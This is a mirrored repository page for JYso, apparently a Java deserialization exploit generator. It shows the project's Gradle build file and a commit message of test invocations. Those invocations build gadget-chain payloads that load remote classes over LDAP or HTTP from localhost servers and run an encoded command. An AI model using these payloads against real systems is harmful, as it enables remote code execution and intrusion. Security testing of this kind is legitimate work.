mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
一些测试用例 -y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -kryo -y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk -y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy -y -g C3P0RefDataSource -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy -y -g XBean -p http://127.0.0.1:8080/ExecObject -js -y -g LazySearchEnumeration -p http://127.0.0.1:8080/ExecObject -js -y -g Resin -p http://127.0.0.1:8080/ExecObject -js -y -g Groovy -p /usr/bin/gedit -js -y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -js -y -g Rome -p /usr/bin/gedit -js -y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -ca -y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -ca -y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk -y -g C3P0RefDataSource -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk -y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -jk -y -g SpringAbstractBeanFactoryPointcutAdvisor -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv' -jk -y -g SpringPropertyPathFactory -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv' -jk
132 lines
4.3 KiB
Groovy
132 lines
4.3 KiB
Groovy
plugins {
|
|
id 'java-library'
|
|
id 'maven-publish'
|
|
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
|
id 'java'
|
|
}
|
|
|
|
repositories {
|
|
mavenLocal()
|
|
maven {
|
|
url = uri('https://repo.jenkins-ci.org/releases/')
|
|
}
|
|
|
|
maven {
|
|
url = uri('https://repo.maven.apache.org/maven2/')
|
|
}
|
|
}
|
|
|
|
shadowJar {
|
|
manifest {
|
|
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
|
}
|
|
zip64=true
|
|
minimize()
|
|
}
|
|
|
|
dependencies {
|
|
implementation files('libs/jai-core-1.1.3.jar')
|
|
implementation files('libs/weblogic-server.jar')
|
|
api libs.io.projectreactor.reactor.core
|
|
api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc
|
|
api libs.org.glassfish.tyrus.tyrus.server
|
|
api libs.org.javassist.javassist
|
|
api libs.xerces.xercesimpl
|
|
api libs.com.fasterxml.jackson.core.jackson.databind
|
|
api libs.com.teradata.jdbc.terajdbc
|
|
api libs.jboss.jboss.serialization
|
|
api libs.org.apache.wicket.wicket.util
|
|
api libs.com.vaadin.vaadin.server
|
|
api libs.org.apache.myfaces.core.myfaces.impl
|
|
api libs.rhino.js
|
|
api libs.rome.rome
|
|
api libs.com.alibaba.fastjson
|
|
api libs.com.alibaba.fastjson2.fastjson2
|
|
api libs.org.jenkins.ci.main.remoting
|
|
api libs.org.jboss.weld.weld.core
|
|
api libs.org.jboss.remoting.jboss.remoting
|
|
api libs.org.jboss.remotingjmx.remoting.jmx
|
|
api libs.org.jboss.interceptor.jboss.interceptor.core
|
|
api libs.org.jboss.interceptor.jboss.interceptor.spi
|
|
api libs.org.python.jython.standalone
|
|
api libs.org.hibernate.hibernate.core
|
|
api libs.org.fusesource.jansi.jansi
|
|
api libs.commons.cli.commons.cli
|
|
api libs.org.apache.commons.commons.lang3
|
|
api libs.org.apache.logging.log4j.log4j.core
|
|
api libs.org.springframework.spring.core
|
|
api libs.org.springframework.spring.beans
|
|
api libs.org.springframework.spring.web
|
|
api libs.org.springframework.spring.oxm
|
|
api libs.org.springframework.spring.tx
|
|
api libs.org.springframework.spring.jdbc
|
|
api libs.org.springframework.spring.webmvc
|
|
api libs.org.springframework.spring.aop
|
|
api libs.org.springframework.spring.context.support
|
|
api libs.org.springframework.spring.test
|
|
api libs.javax.servlet.javax.servlet.api
|
|
api libs.com.mchange.c3p0
|
|
api libs.commons.collections.commons.collections
|
|
api libs.org.apache.commons.commons.collections4
|
|
api libs.org.apache.tomcat.embed.tomcat.embed.core
|
|
api libs.org.ow2.asm.asm
|
|
api libs.com.unboundid.unboundid.ldapsdk
|
|
api libs.com.nqzero.permit.reflect
|
|
api libs.net.jodah.expiringmap
|
|
api libs.org.reflections.reflections
|
|
api libs.org.beanshell.bsh
|
|
api libs.io.undertow.undertow.core
|
|
api libs.io.undertow.undertow.servlet
|
|
api libs.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec
|
|
api libs.com.beust.jcommander
|
|
api libs.org.codehaus.groovy.groovy
|
|
api libs.org.apache.commons.commons.text
|
|
api libs.org.eclipse.jetty.jetty.ant
|
|
api libs.org.apache.maven.plugins.maven.assembly.plugin
|
|
api libs.org.apache.click.click.nodeps
|
|
api libs.org.clojure.clojure
|
|
api libs.cn.hutool.hutool.all
|
|
// api libs.commons.beanutils.commons.beanutils
|
|
api libs.javax.websocket.javax.websocket.api
|
|
api libs.com.caucho.resin
|
|
api libs.com.rometools.rome
|
|
api libs.org.apache.xbean.xbean.naming
|
|
api libs.com.thoughtworks.xstream
|
|
api libs.commons.configuration
|
|
api libs.com.esotericsoftware.kryo
|
|
api libs.org.jyaml.jyaml
|
|
api libs.com.cedarsoftware.json.io
|
|
api libs.org.codehaus.castor.castor.xml
|
|
|
|
implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
|
|
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
|
|
runtimeOnly libs.org.aspectj.aspectjweaver
|
|
compileOnly libs.org.apache.tomcat.tomcat.websocket
|
|
}
|
|
|
|
group = 'org.example'
|
|
version = '1.3.3'
|
|
description = 'JYso'
|
|
java.sourceCompatibility = JavaVersion.VERSION_1_8
|
|
|
|
publishing {
|
|
publications {
|
|
maven(MavenPublication) {
|
|
from(components.java)
|
|
}
|
|
}
|
|
}
|
|
|
|
tasks.withType(JavaCompile) {
|
|
options.encoding = 'UTF-8'
|
|
}
|
|
|
|
tasks.withType(Javadoc) {
|
|
options.encoding = 'UTF-8'
|
|
}
|
|
|
|
compileJava {
|
|
options.compilerArgs << '-XDignore.symbol.file'
|
|
options.fork = true
|
|
options.forkOptions.executable = '/Users/topsry/security-tools/java/amazon-corretto-8.jdk/Contents/Home/bin/javac'
|
|
} |